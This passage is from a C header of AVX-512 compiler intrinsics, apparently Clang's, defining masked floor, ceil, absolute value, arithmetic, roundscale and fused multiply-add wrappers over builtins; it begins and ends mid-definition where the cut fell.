                                                  (__v16sf) __A, (unsigned short)-1,
                                                  _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_floor_ps (__m512 __W, __mmask16 __U, __m512 __A)
{
  return (__m512) __builtin_ia32_rndscaleps_mask ((__v16sf) __A,
                   _MM_FROUND_FLOOR,
                   (__v16sf) __W, __U,
                   _MM_FROUND_CUR_DIRECTION);
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_floor_pd(__m512d __A)
{
  return (__m512d) __builtin_ia32_rndscalepd_mask ((__v8df) __A,
                                                   _MM_FROUND_FLOOR,
                                                   (__v8df) __A, (unsigned char)-1,
                                                   _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_floor_pd (__m512d __W, __mmask8 __U, __m512d __A)
{
  return (__m512d) __builtin_ia32_rndscalepd_mask ((__v8df) __A,
                _MM_FROUND_FLOOR,
                (__v8df) __W, __U,
                _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_ceil_ps (__m512 __W, __mmask16 __U, __m512 __A)
{
  return (__m512) __builtin_ia32_rndscaleps_mask ((__v16sf) __A,
                   _MM_FROUND_CEIL,
                   (__v16sf) __W, __U,
                   _MM_FROUND_CUR_DIRECTION);
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_ceil_ps(__m512 __A)
{
  return (__m512) __builtin_ia32_rndscaleps_mask ((__v16sf) __A,
                                                  _MM_FROUND_CEIL,
                                                  (__v16sf) __A, (unsigned short)-1,
                                                  _MM_FROUND_CUR_DIRECTION);
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_ceil_pd(__m512d __A)
{
  return (__m512d) __builtin_ia32_rndscalepd_mask ((__v8df) __A,
                                                   _MM_FROUND_CEIL,
                                                   (__v8df) __A, (unsigned char)-1,
                                                   _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_ceil_pd (__m512d __W, __mmask8 __U, __m512d __A)
{
  return (__m512d) __builtin_ia32_rndscalepd_mask ((__v8df) __A,
                _MM_FROUND_CEIL,
                (__v8df) __W, __U,
                _MM_FROUND_CUR_DIRECTION);
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_abs_epi64(__m512i __A)
{
  return (__m512i)__builtin_elementwise_abs((__v8di)__A);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_abs_epi64 (__m512i __W, __mmask8 __U, __m512i __A)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_abs_epi64(__A),
                                             (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_abs_epi64 (__mmask8 __U, __m512i __A)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_abs_epi64(__A),
                                             (__v8di)_mm512_setzero_si512());
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_abs_epi32(__m512i __A)
{
  return (__m512i)__builtin_elementwise_abs((__v16si) __A);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_abs_epi32 (__m512i __W, __mmask16 __U, __m512i __A)
{
  return (__m512i)__builtin_ia32_selectd_512(__U,
                                             (__v16si)_mm512_abs_epi32(__A),
                                             (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_abs_epi32 (__mmask16 __U, __m512i __A)
{
  return (__m512i)__builtin_ia32_selectd_512(__U,
                                             (__v16si)_mm512_abs_epi32(__A),
                                             (__v16si)_mm512_setzero_si512());
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_add_ss(__m128 __W, __mmask8 __U,__m128 __A, __m128 __B) {
  __A = _mm_add_ss(__A, __B);
  return __builtin_ia32_selectss_128(__U, __A, __W);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_add_ss(__mmask8 __U,__m128 __A, __m128 __B) {
  __A = _mm_add_ss(__A, __B);
  return __builtin_ia32_selectss_128(__U, __A, _mm_setzero_ps());
}

#define _mm_add_round_ss(A, B, R) \
  ((__m128)__builtin_ia32_addss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)_mm_setzero_ps(), \
                                           (__mmask8)-1, (int)(R)))

#define _mm_mask_add_round_ss(W, U, A, B, R) \
  ((__m128)__builtin_ia32_addss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)(__m128)(W), (__mmask8)(U), \
                                           (int)(R)))

#define _mm_maskz_add_round_ss(U, A, B, R) \
  ((__m128)__builtin_ia32_addss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)_mm_setzero_ps(), \
                                           (__mmask8)(U), (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_add_sd(__m128d __W, __mmask8 __U,__m128d __A, __m128d __B) {
  __A = _mm_add_sd(__A, __B);
  return __builtin_ia32_selectsd_128(__U, __A, __W);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_add_sd(__mmask8 __U,__m128d __A, __m128d __B) {
  __A = _mm_add_sd(__A, __B);
  return __builtin_ia32_selectsd_128(__U, __A, _mm_setzero_pd());
}
#define _mm_add_round_sd(A, B, R) \
  ((__m128d)__builtin_ia32_addsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)_mm_setzero_pd(), \
                                            (__mmask8)-1, (int)(R)))

#define _mm_mask_add_round_sd(W, U, A, B, R) \
  ((__m128d)__builtin_ia32_addsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)(__m128d)(W), \
                                            (__mmask8)(U), (int)(R)))

#define _mm_maskz_add_round_sd(U, A, B, R) \
  ((__m128d)__builtin_ia32_addsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)_mm_setzero_pd(), \
                                            (__mmask8)(U), (int)(R)))

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_add_pd(__m512d __W, __mmask8 __U, __m512d __A, __m512d __B) {
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                              (__v8df)_mm512_add_pd(__A, __B),
                                              (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_add_pd(__mmask8 __U, __m512d __A, __m512d __B) {
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                              (__v8df)_mm512_add_pd(__A, __B),
                                              (__v8df)_mm512_setzero_pd());
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_add_ps(__m512 __W, __mmask16 __U, __m512 __A, __m512 __B) {
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_add_ps(__A, __B),
                                             (__v16sf)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_add_ps(__mmask16 __U, __m512 __A, __m512 __B) {
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_add_ps(__A, __B),
                                             (__v16sf)_mm512_setzero_ps());
}

#define _mm512_add_round_pd(A, B, R) \
  ((__m512d)__builtin_ia32_addpd512((__v8df)(__m512d)(A), \
                                    (__v8df)(__m512d)(B), (int)(R)))

#define _mm512_mask_add_round_pd(W, U, A, B, R) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                   (__v8df)_mm512_add_round_pd((A), (B), (R)), \
                                   (__v8df)(__m512d)(W)))

#define _mm512_maskz_add_round_pd(U, A, B, R) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                   (__v8df)_mm512_add_round_pd((A), (B), (R)), \
                                   (__v8df)_mm512_setzero_pd()))

#define _mm512_add_round_ps(A, B, R) \
  ((__m512)__builtin_ia32_addps512((__v16sf)(__m512)(A), \
                                   (__v16sf)(__m512)(B), (int)(R)))

#define _mm512_mask_add_round_ps(W, U, A, B, R) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                  (__v16sf)_mm512_add_round_ps((A), (B), (R)), \
                                  (__v16sf)(__m512)(W)))

#define _mm512_maskz_add_round_ps(U, A, B, R) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                  (__v16sf)_mm512_add_round_ps((A), (B), (R)), \
                                  (__v16sf)_mm512_setzero_ps()))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_sub_ss(__m128 __W, __mmask8 __U,__m128 __A, __m128 __B) {
  __A = _mm_sub_ss(__A, __B);
  return __builtin_ia32_selectss_128(__U, __A, __W);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_sub_ss(__mmask8 __U,__m128 __A, __m128 __B) {
  __A = _mm_sub_ss(__A, __B);
  return __builtin_ia32_selectss_128(__U, __A, _mm_setzero_ps());
}
#define _mm_sub_round_ss(A, B, R) \
  ((__m128)__builtin_ia32_subss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)_mm_setzero_ps(), \
                                           (__mmask8)-1, (int)(R)))

#define _mm_mask_sub_round_ss(W, U, A, B, R) \
  ((__m128)__builtin_ia32_subss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)(__m128)(W), (__mmask8)(U), \
                                           (int)(R)))

#define _mm_maskz_sub_round_ss(U, A, B, R) \
  ((__m128)__builtin_ia32_subss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)_mm_setzero_ps(), \
                                           (__mmask8)(U), (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_sub_sd(__m128d __W, __mmask8 __U,__m128d __A, __m128d __B) {
  __A = _mm_sub_sd(__A, __B);
  return __builtin_ia32_selectsd_128(__U, __A, __W);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_sub_sd(__mmask8 __U,__m128d __A, __m128d __B) {
  __A = _mm_sub_sd(__A, __B);
  return __builtin_ia32_selectsd_128(__U, __A, _mm_setzero_pd());
}

#define _mm_sub_round_sd(A, B, R) \
  ((__m128d)__builtin_ia32_subsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)_mm_setzero_pd(), \
                                            (__mmask8)-1, (int)(R)))

#define _mm_mask_sub_round_sd(W, U, A, B, R) \
  ((__m128d)__builtin_ia32_subsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)(__m128d)(W), \
                                            (__mmask8)(U), (int)(R)))

#define _mm_maskz_sub_round_sd(U, A, B, R) \
  ((__m128d)__builtin_ia32_subsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)_mm_setzero_pd(), \
                                            (__mmask8)(U), (int)(R)))

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_sub_pd(__m512d __W, __mmask8 __U, __m512d __A, __m512d __B) {
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                              (__v8df)_mm512_sub_pd(__A, __B),
                                              (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_sub_pd(__mmask8 __U, __m512d __A, __m512d __B) {
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                              (__v8df)_mm512_sub_pd(__A, __B),
                                              (__v8df)_mm512_setzero_pd());
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_sub_ps(__m512 __W, __mmask16 __U, __m512 __A, __m512 __B) {
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_sub_ps(__A, __B),
                                             (__v16sf)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_sub_ps(__mmask16 __U, __m512 __A, __m512 __B) {
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_sub_ps(__A, __B),
                                             (__v16sf)_mm512_setzero_ps());
}

#define _mm512_sub_round_pd(A, B, R) \
  ((__m512d)__builtin_ia32_subpd512((__v8df)(__m512d)(A), \
                                    (__v8df)(__m512d)(B), (int)(R)))

#define _mm512_mask_sub_round_pd(W, U, A, B, R) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                   (__v8df)_mm512_sub_round_pd((A), (B), (R)), \
                                   (__v8df)(__m512d)(W)))

#define _mm512_maskz_sub_round_pd(U, A, B, R) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                   (__v8df)_mm512_sub_round_pd((A), (B), (R)), \
                                   (__v8df)_mm512_setzero_pd()))

#define _mm512_sub_round_ps(A, B, R) \
  ((__m512)__builtin_ia32_subps512((__v16sf)(__m512)(A), \
                                   (__v16sf)(__m512)(B), (int)(R)))

#define _mm512_mask_sub_round_ps(W, U, A, B, R) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                  (__v16sf)_mm512_sub_round_ps((A), (B), (R)), \
                                  (__v16sf)(__m512)(W)))

#define _mm512_maskz_sub_round_ps(U, A, B, R) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                  (__v16sf)_mm512_sub_round_ps((A), (B), (R)), \
                                  (__v16sf)_mm512_setzero_ps()))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_mul_ss(__m128 __W, __mmask8 __U,__m128 __A, __m128 __B) {
  __A = _mm_mul_ss(__A, __B);
  return __builtin_ia32_selectss_128(__U, __A, __W);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_mul_ss(__mmask8 __U,__m128 __A, __m128 __B) {
  __A = _mm_mul_ss(__A, __B);
  return __builtin_ia32_selectss_128(__U, __A, _mm_setzero_ps());
}
#define _mm_mul_round_ss(A, B, R) \
  ((__m128)__builtin_ia32_mulss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)_mm_setzero_ps(), \
                                           (__mmask8)-1, (int)(R)))

#define _mm_mask_mul_round_ss(W, U, A, B, R) \
  ((__m128)__builtin_ia32_mulss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)(__m128)(W), (__mmask8)(U), \
                                           (int)(R)))

#define _mm_maskz_mul_round_ss(U, A, B, R) \
  ((__m128)__builtin_ia32_mulss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)_mm_setzero_ps(), \
                                           (__mmask8)(U), (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_mul_sd(__m128d __W, __mmask8 __U,__m128d __A, __m128d __B) {
  __A = _mm_mul_sd(__A, __B);
  return __builtin_ia32_selectsd_128(__U, __A, __W);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_mul_sd(__mmask8 __U,__m128d __A, __m128d __B) {
  __A = _mm_mul_sd(__A, __B);
  return __builtin_ia32_selectsd_128(__U, __A, _mm_setzero_pd());
}

#define _mm_mul_round_sd(A, B, R) \
  ((__m128d)__builtin_ia32_mulsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)_mm_setzero_pd(), \
                                            (__mmask8)-1, (int)(R)))

#define _mm_mask_mul_round_sd(W, U, A, B, R) \
  ((__m128d)__builtin_ia32_mulsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)(__m128d)(W), \
                                            (__mmask8)(U), (int)(R)))

#define _mm_maskz_mul_round_sd(U, A, B, R) \
  ((__m128d)__builtin_ia32_mulsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)_mm_setzero_pd(), \
                                            (__mmask8)(U), (int)(R)))

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_mul_pd(__m512d __W, __mmask8 __U, __m512d __A, __m512d __B) {
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                              (__v8df)_mm512_mul_pd(__A, __B),
                                              (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_mul_pd(__mmask8 __U, __m512d __A, __m512d __B) {
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                              (__v8df)_mm512_mul_pd(__A, __B),
                                              (__v8df)_mm512_setzero_pd());
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_mul_ps(__m512 __W, __mmask16 __U, __m512 __A, __m512 __B) {
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_mul_ps(__A, __B),
                                             (__v16sf)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_mul_ps(__mmask16 __U, __m512 __A, __m512 __B) {
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_mul_ps(__A, __B),
                                             (__v16sf)_mm512_setzero_ps());
}

#define _mm512_mul_round_pd(A, B, R) \
  ((__m512d)__builtin_ia32_mulpd512((__v8df)(__m512d)(A), \
                                    (__v8df)(__m512d)(B), (int)(R)))

#define _mm512_mask_mul_round_pd(W, U, A, B, R) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                   (__v8df)_mm512_mul_round_pd((A), (B), (R)), \
                                   (__v8df)(__m512d)(W)))

#define _mm512_maskz_mul_round_pd(U, A, B, R) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                   (__v8df)_mm512_mul_round_pd((A), (B), (R)), \
                                   (__v8df)_mm512_setzero_pd()))

#define _mm512_mul_round_ps(A, B, R) \
  ((__m512)__builtin_ia32_mulps512((__v16sf)(__m512)(A), \
                                  (__v16sf)(__m512)(B), (int)(R)))

#define _mm512_mask_mul_round_ps(W, U, A, B, R) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                  (__v16sf)_mm512_mul_round_ps((A), (B), (R)), \
                                  (__v16sf)(__m512)(W)))

#define _mm512_maskz_mul_round_ps(U, A, B, R) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                  (__v16sf)_mm512_mul_round_ps((A), (B), (R)), \
                                  (__v16sf)_mm512_setzero_ps()))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_div_ss(__m128 __W, __mmask8 __U,__m128 __A, __m128 __B) {
  __A = _mm_div_ss(__A, __B);
  return __builtin_ia32_selectss_128(__U, __A, __W);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_div_ss(__mmask8 __U,__m128 __A, __m128 __B) {
  __A = _mm_div_ss(__A, __B);
  return __builtin_ia32_selectss_128(__U, __A, _mm_setzero_ps());
}

#define _mm_div_round_ss(A, B, R) \
  ((__m128)__builtin_ia32_divss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)_mm_setzero_ps(), \
                                           (__mmask8)-1, (int)(R)))

#define _mm_mask_div_round_ss(W, U, A, B, R) \
  ((__m128)__builtin_ia32_divss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)(__m128)(W), (__mmask8)(U), \
                                           (int)(R)))

#define _mm_maskz_div_round_ss(U, A, B, R) \
  ((__m128)__builtin_ia32_divss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)_mm_setzero_ps(), \
                                           (__mmask8)(U), (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_div_sd(__m128d __W, __mmask8 __U,__m128d __A, __m128d __B) {
  __A = _mm_div_sd(__A, __B);
  return __builtin_ia32_selectsd_128(__U, __A, __W);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_div_sd(__mmask8 __U,__m128d __A, __m128d __B) {
  __A = _mm_div_sd(__A, __B);
  return __builtin_ia32_selectsd_128(__U, __A, _mm_setzero_pd());
}

#define _mm_div_round_sd(A, B, R) \
  ((__m128d)__builtin_ia32_divsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)_mm_setzero_pd(), \
                                            (__mmask8)-1, (int)(R)))

#define _mm_mask_div_round_sd(W, U, A, B, R) \
  ((__m128d)__builtin_ia32_divsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)(__m128d)(W), \
                                            (__mmask8)(U), (int)(R)))

#define _mm_maskz_div_round_sd(U, A, B, R) \
  ((__m128d)__builtin_ia32_divsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)_mm_setzero_pd(), \
                                            (__mmask8)(U), (int)(R)))

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_div_pd(__m512d __a, __m512d __b)
{
  return (__m512d)((__v8df)__a/(__v8df)__b);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_div_pd(__m512d __W, __mmask8 __U, __m512d __A, __m512d __B) {
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                              (__v8df)_mm512_div_pd(__A, __B),
                                              (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_div_pd(__mmask8 __U, __m512d __A, __m512d __B) {
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                              (__v8df)_mm512_div_pd(__A, __B),
                                              (__v8df)_mm512_setzero_pd());
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_div_ps(__m512 __a, __m512 __b)
{
  return (__m512)((__v16sf)__a/(__v16sf)__b);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_div_ps(__m512 __W, __mmask16 __U, __m512 __A, __m512 __B) {
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_div_ps(__A, __B),
                                             (__v16sf)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_div_ps(__mmask16 __U, __m512 __A, __m512 __B) {
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_div_ps(__A, __B),
                                             (__v16sf)_mm512_setzero_ps());
}

#define _mm512_div_round_pd(A, B, R) \
  ((__m512d)__builtin_ia32_divpd512((__v8df)(__m512d)(A), \
                                    (__v8df)(__m512d)(B), (int)(R)))

#define _mm512_mask_div_round_pd(W, U, A, B, R) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                   (__v8df)_mm512_div_round_pd((A), (B), (R)), \
                                   (__v8df)(__m512d)(W)))

#define _mm512_maskz_div_round_pd(U, A, B, R) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                   (__v8df)_mm512_div_round_pd((A), (B), (R)), \
                                   (__v8df)_mm512_setzero_pd()))

#define _mm512_div_round_ps(A, B, R) \
  ((__m512)__builtin_ia32_divps512((__v16sf)(__m512)(A), \
                                   (__v16sf)(__m512)(B), (int)(R)))

#define _mm512_mask_div_round_ps(W, U, A, B, R) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                  (__v16sf)_mm512_div_round_ps((A), (B), (R)), \
                                  (__v16sf)(__m512)(W)))

#define _mm512_maskz_div_round_ps(U, A, B, R) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                  (__v16sf)_mm512_div_round_ps((A), (B), (R)), \
                                  (__v16sf)_mm512_setzero_ps()))

#define _mm512_roundscale_ps(A, B) \
  ((__m512)__builtin_ia32_rndscaleps_mask((__v16sf)(__m512)(A), (int)(B), \
                                          (__v16sf)_mm512_undefined_ps(), \
                                          (__mmask16)-1, \
                                          _MM_FROUND_CUR_DIRECTION))

#define _mm512_mask_roundscale_ps(A, B, C, imm) \
  ((__m512)__builtin_ia32_rndscaleps_mask((__v16sf)(__m512)(C), (int)(imm), \
                                         (__v16sf)(__m512)(A), (__mmask16)(B), \
                                         _MM_FROUND_CUR_DIRECTION))

#define _mm512_maskz_roundscale_ps(A, B, imm) \
  ((__m512)__builtin_ia32_rndscaleps_mask((__v16sf)(__m512)(B), (int)(imm), \
                                          (__v16sf)_mm512_setzero_ps(), \
                                          (__mmask16)(A), \
                                          _MM_FROUND_CUR_DIRECTION))

#define _mm512_mask_roundscale_round_ps(A, B, C, imm, R) \
  ((__m512)__builtin_ia32_rndscaleps_mask((__v16sf)(__m512)(C), (int)(imm), \
                                         (__v16sf)(__m512)(A), (__mmask16)(B), \
                                         (int)(R)))

#define _mm512_maskz_roundscale_round_ps(A, B, imm, R) \
  ((__m512)__builtin_ia32_rndscaleps_mask((__v16sf)(__m512)(B), (int)(imm), \
                                          (__v16sf)_mm512_setzero_ps(), \
                                          (__mmask16)(A), (int)(R)))

#define _mm512_roundscale_round_ps(A, imm, R) \
  ((__m512)__builtin_ia32_rndscaleps_mask((__v16sf)(__m512)(A), (int)(imm), \
                                          (__v16sf)_mm512_undefined_ps(), \
                                          (__mmask16)-1, (int)(R)))

#define _mm512_roundscale_pd(A, B) \
  ((__m512d)__builtin_ia32_rndscalepd_mask((__v8df)(__m512d)(A), (int)(B), \
                                           (__v8df)_mm512_undefined_pd(), \
                                           (__mmask8)-1, \
                                           _MM_FROUND_CUR_DIRECTION))

#define _mm512_mask_roundscale_pd(A, B, C, imm) \
  ((__m512d)__builtin_ia32_rndscalepd_mask((__v8df)(__m512d)(C), (int)(imm), \
                                          (__v8df)(__m512d)(A), (__mmask8)(B), \
                                          _MM_FROUND_CUR_DIRECTION))

#define _mm512_maskz_roundscale_pd(A, B, imm) \
  ((__m512d)__builtin_ia32_rndscalepd_mask((__v8df)(__m512d)(B), (int)(imm), \
                                           (__v8df)_mm512_setzero_pd(), \
                                           (__mmask8)(A), \
                                           _MM_FROUND_CUR_DIRECTION))

#define _mm512_mask_roundscale_round_pd(A, B, C, imm, R) \
  ((__m512d)__builtin_ia32_rndscalepd_mask((__v8df)(__m512d)(C), (int)(imm), \
                                          (__v8df)(__m512d)(A), (__mmask8)(B), \
                                          (int)(R)))

#define _mm512_maskz_roundscale_round_pd(A, B, imm, R) \
  ((__m512d)__builtin_ia32_rndscalepd_mask((__v8df)(__m512d)(B), (int)(imm), \
                                           (__v8df)_mm512_setzero_pd(), \
                                           (__mmask8)(A), (int)(R)))

#define _mm512_roundscale_round_pd(A, imm, R) \
  ((__m512d)__builtin_ia32_rndscalepd_mask((__v8df)(__m512d)(A), (int)(imm), \
                                           (__v8df)_mm512_undefined_pd(), \
                                           (__mmask8)-1, (int)(R)))

#define _mm512_fmadd_round_pd(A, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddpd512_mask((__v8df)(__m512d)(A), \
                                            (__v8df)(__m512d)(B), \
                                            (__v8df)(__m512d)(C), \
                                            (__mmask8)-1, (int)(R)))


#define _mm512_mask_fmadd_round_pd(A, U, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddpd512_mask((__v8df)(__m512d)(A), \
                                            (__v8df)(__m512d)(B), \
                                            (__v8df)(__m512d)(C), \
                                            (__mmask8)(U), (int)(R)))


#define _mm512_mask3_fmadd_round_pd(A, B, C, U, R) \
  ((__m512d)__builtin_ia32_vfmaddpd512_mask3((__v8df)(__m512d)(A), \
                                             (__v8df)(__m512d)(B), \
                                             (__v8df)(__m512d)(C), \
                                             (__mmask8)(U), (int)(R)))


#define _mm512_maskz_fmadd_round_pd(U, A, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddpd512_maskz((__v8df)(__m512d)(A), \
                                             (__v8df)(__m512d)(B), \
                                             (__v8df)(__m512d)(C), \
                                             (__mmask8)(U), (int)(R)))


#define _mm512_fmsub_round_pd(A, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddpd512_mask((__v8df)(__m512d)(A), \
                                            (__v8df)(__m512d)(B), \
                                            -(__v8df)(__m512d)(C), \
                                            (__mmask8)-1, (int)(R)))


#define _mm512_mask_fmsub_round_pd(A, U, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddpd512_mask((__v8df)(__m512d)(A), \
                                            (__v8df)(__m512d)(B), \
                                            -(__v8df)(__m512d)(C), \
                                            (__mmask8)(U), (int)(R)))


#define _mm512_maskz_fmsub_round_pd(U, A, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddpd512_maskz((__v8df)(__m512d)(A), \
                                             (__v8df)(__m512d)(B), \
                                             -(__v8df)(__m512d)(C), \
                                             (__mmask8)(U), (int)(R)))


#define _mm512_fnmadd_round_pd(A, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddpd512_mask(-(__v8df)(__m512d)(A), \
                                            (__v8df)(__m512d)(B), \
                                            (__v8df)(__m512d)(C), \
                                            (__mmask8)-1, (int)(R)))


#define _mm512_mask3_fnmadd_round_pd(A, B, C, U, R) \
  ((__m512d)__builtin_ia32_vfmaddpd512_mask3(-(__v8df)(__m512d)(A), \
                                             (__v8df)(__m512d)(B), \
                                             (__v8df)(__m512d)(C), \
                                             (__mmask8)(U), (int)(R)))


#define _mm512_maskz_fnmadd_round_pd(U, A, B, C, R) \
